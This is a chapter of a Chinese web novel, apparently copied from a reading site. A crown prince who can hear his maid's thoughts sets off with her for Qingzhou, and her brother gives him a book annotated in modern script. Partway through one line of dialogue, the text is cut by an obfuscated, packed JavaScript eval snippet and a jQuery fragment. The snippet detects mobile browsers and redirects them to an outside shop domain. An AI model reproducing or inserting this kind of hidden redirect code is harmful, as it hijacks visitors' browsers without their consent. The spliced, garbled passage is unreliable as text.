太子今日穿的仍是平日常穿的那身暗金线收边的玄色衣袍,端坐在罗汉榻上,神色冷峻,眸底一片漠然,瞧不出什么喜怒。
靠近些能闻到他身上的一股淡淡的香味,和兰香接近,总之和玄二身上的皂荚味全然不同。
李青柠原先伺候太子更衣过两回,就没见过除了暗色以外的衣裳,也全然想象不出这样一张沉着冷静的脸,穿上暖色的月牙白袍是什么模样。
【我哥肯定搞错了!】
【玄二怎么可能是太子呢。】
李青柠提起来心刹时松了下去,抿着唇瓣,轻手轻脚的飘过去,将罗汉榻小几上已经放凉的茶水换成她新泡好的,微微屈身,便要退下。
太子幽幽出声:“今日好玩么?”
李青柠点点头:“很热闹,我第一次见这么热闹的街巷,谢谢殿下。”
“嗯。”
太子淡淡应了一声:“明日辰时去青州,莫忘了。”
李青柠点头:“是。”
没了下文。
李青柠偷瞥了一眼太子,被太子当场抓获,陆靖川出声:“怎么了,支支吾吾的,以后有话直说,说错了也不罚你。”
李青柠捏着小手忸怩道:“殿下,就是……我今日在花灯店和一位官家小姐起了冲突,正巧碰到玄二,他替我出面解了围,我想谢谢他,可以吗?”
“孤会赏他。”
陆靖川正愁不知道怎么跟李青柠讲这件事,先不说那管家小姐自己并不占理平白污蔑,是百姓也能为自己争辩一二;即便真要像她那样以权压人,李青柠也实在不该如此窝囊。
究竟是谁告诉她太子府的丫鬟低人一等的?
她又不是奴籍。
正好李青柠主动开口提起这事,他便合上书,道:“不过孤倒是好奇,同为孤身边的人,这事为何轮到玄二替你解围,你就这么任由她欺辱?”
李青柠脸颊一红,“我有说是殿下的人,但是她怎么都不信,我忘带腰牌了,所以就……”
所以就这么被欺负了。
有身份有靠山也不知道如何利用,就这么呆呆傻傻的站在那里被人污蔑,还要担心他不能为她做主。
陆靖川捏了捏眉心,“你是良家子,以良籍入宫,做到一宫掌事,身上便有品阶,只是我朝鲜少提到内侍和宫女的品阶,但却不是没有,王韩是六品内侍,你与他就是等同,八品承奉郎的千金,呵,便是他爹来了,也不能给你脸色看。”
李青柠惊愕的张大嘴巴,猛的抬头,呆呆的看向一脸冷漠的男人。
【什么意思?下人不是低人一等吗?感情我还是个官?】
【我哥还没考上,我先有品阶了!】
【哎呀忽然有点不适应怎么办~以后我得保持形象了。】
她此刻的心情不亚于天上忽然掉下来一张肉馅的大饼,不偏不倚的砸到她的脑袋上,令人眼冒金星。
陆靖川一瞧她这模样,唇角轻轻扬了几分。
看不出还是个官迷。
只可惜他如今摆脱不了这见鬼的剧情,太子妃的位置可比六品大太多了。
想到那缥缈剧情,陆靖川的唇角再度压了下来,眸底浮起一寸冰霜,低沉道:“再有下次,硬气些,凡事有我,任何人都不欺辱你,知道了么?”
李青柠心尖一颤,怔怔道:“知道了。”
她原本也不打算忍气吞声,本来是想今日受了欺负就回府来同太子告个小状的。
但现在提起那橙衣小姐仅剩的一点委屈也烟消云散,心底只剩下了动容和感动。
【呜呜呜谁都不能欺负我!】
【这次青州之行我一定要帮太子狠狠撮合女主,拿下男主之位!】
陆靖川:“……”
他深吸了一口气,用多年的涵养和礼仪将到嘴的“滚”字吞下,沉目看着她:“你……下去!”
李青柠点头:“是。”
【真是看不出来感觉太子内心挺温柔的一个人啊,我得找机会劝劝他放弃他的入狱三件套。】
【可千万不能再囚禁女主搞强制了啊!】
陆靖川:“…………”
他十分绝望且无力的闭上了眼睛。
他没有!!!
哪一次都没有!
·
第二日,出发青州。
圣火教的教徒如今还在曲州一带附近出没,去曲州势必要路过青州,两个地区都连日遭遇地龙翻身,闹得人心惶惶,辰王昨天夜里直接往曲州而去,太子便朝青州而行,最后和他在曲州汇合。
辰王是带了一批精锐军队出发的,满京城都看到了,太子却是秘密行踪,只有一驾马车和一个侍女随行。
他的踪迹本不该有人知道,在城门外和越淮序汇合,却遇到了静候在此地的李青舟。
李青柠前两日和他顺嘴提过,今日要出发去青州的事。
能在这里碰到哥哥,她自然惊喜又意外。
但随即想起太子殿下这次是微服离京,她作为太子身边的贴身侍女,却把这事告诉了别人,若是追究起来,还是她全责。
“殿下,我……”
李青柠张口想先滑跪认错,陆靖川却抬手制止了她的话。
李青舟坐在轮椅上,拱手道:“恕草民无法大礼参拜,殿下,可否借一步说话?”
陆靖川点头,率先朝一旁而去。
李青舟推着轮椅跟上。
李青柠见状下意识想跟上去,越淮序拦住她:“看来殿下和李兄有单独的话要讲,青柠姑娘还是在此地稍等片刻吧。”
李青柠只好点点头,看见李青舟似乎带塞给太子一个什么东西。
不过随即她后知后觉反应过来,猛地转头:“越大人和我哥哥认识?”
越淮序:“原先同青柠姑娘去过金兰寺,见青柠姑娘难受,便自作主张去寻了李兄,看望过一两回,他写了个食方给我,销量很是不错。”
李青柠连连道谢:“原来如此,还是谢谢越大人了。”
难怪她送去的银子除了第一次之后的都原封不动的留着,原来有这层关系。
怎么感觉她哥哥不仅拿了科举大男主剧本,还拿了万人迷剧本。
李青柠看向她哥清秀儒雅的面容,一时有些担心自己穿的该不会是已经经过改编的穿书小众耽美文学吧?
越淮序温和的笑着:“我同李兄一见如故,青柠姑娘若不介意,日后也将我当兄长好了,叫大人,总是有些不大习惯。”
“嗳,好。”李青柠轻轻点点头,咧着嘴道:“以后人前我还叫你大人,礼不可废,私下我就叫你越大哥了,你也不要在姑娘姑娘的叫了,叫我青柠就好了。”
“好啊,青柠。”
这边刚说完,太子和李青舟回来了。
“柠柠,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576702|202682||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
路上小心。”李青舟什么都没说,只是淡淡叮嘱她一句话,并将准备好的小木箱拿了出来,“这里面是一些伤药,应急的时候用。”
李青柠看看太子,收下了。
爬上马车,等看不见后方李青舟的身影,她才惆怅的从窗户缩回来,托着腮帮子神游。
【真的很好奇我哥和太子又说了什么。】
【先是辰王,再是越淮序,现在又是太子……】
李青柠的目光轻轻扫过分别坐在她身侧和对面的太子及礼部侍郎,拉长尾音的心声让两人无端升起一股鸡皮疙瘩。
她心想:【之前就感觉男主团和女主怪怪的,他们该不会真喜欢男人吧?那我哥岂不是危险了?】
太子:“……”
越淮序:“……”
当然不可能!
“李青柠。”
太子忽然开口打断了李青柠天马行空,她正襟危坐,只见男人从宽大的袖中抽出一本足有她拇指盖那么厚的书。
随后颇为残忍的说道:“读给孤听。”
李青柠苦兮兮:“是。”(:3っ)っ
双手接过那册书,她绝望的翻开,已经做好了成为笑话的准备,却定住了。
她认得不全的这个朝代的文字边上,用极小的毛笔字写着她看得懂的现代字,书写者许是着急,有好些是连笔,但根据上下文不难猜出是什么。
乱七八糟的心声消失了。
李青柠朗朗上口的读了起来。
越淮序似是意料之中,毕竟听她的心声,似乎并不像是不识字的白丁,何况又做过掌事宫女,兄长李青舟又能出口成章。
陆靖川倒是颇为意外。
他若没有记错,上回春猎途中,李青柠还曾为自己不识字而理直气壮的“骄傲”过。
他本是打算回府后找个私塾先生教她从三岁孩童的识字入门学起,只是遇到刺杀始料未及,回府之后堆成山的公文等他急批,便将这事忘了。
李青柠何时认得字?
除却花灯节两日外,他与她几乎同吃同睡寸步不离,她有任何行动,他都不会不知道。
发生在李青柠身上的怪事实在是太多了,陆靖川惊疑之余,又觉得习以为常。
等到了落脚点迎来客栈,李青柠将书一放,和越淮序的小厮先一步进客栈订房,上楼收拾。
陆靖川瞧了两眼那本被塞在垫子下平平无奇的书册,将它抽了出来。
密密麻麻的小字如注释般落在右下角,大多缺胳膊少腿,两个字之间竟有些意外的相似。
这本书是李青舟给他的。
李青舟和李青柠又来自同一个世界。
陆靖川想起曾听到李青柠称不认识繁体字,如此说来,这些李青舟兄妹二人都熟记于心的简单小字,便是李青柠所在世界的文字。
李青舟托他代为转交这本书,宁愿以两年之期押上前途作赌注,只提了一个让李青柠全须全尾完好无损活到两年后的要求,而非让他给李青柠请老师教她读书写字将她当千金小姐看待……
李青柠许是将他和“女主”会发生但还尚未发生发剧情同他这位大舅哥全说了,还是添油加醋的。
偏偏他又确实无法直言,他和白锦韵并无任何干系。
陆靖川无端背了一口“薄情寡性、玩弄感情”的黑锅,五味杂陈的合上书,将书册塞进袖子,随后上楼。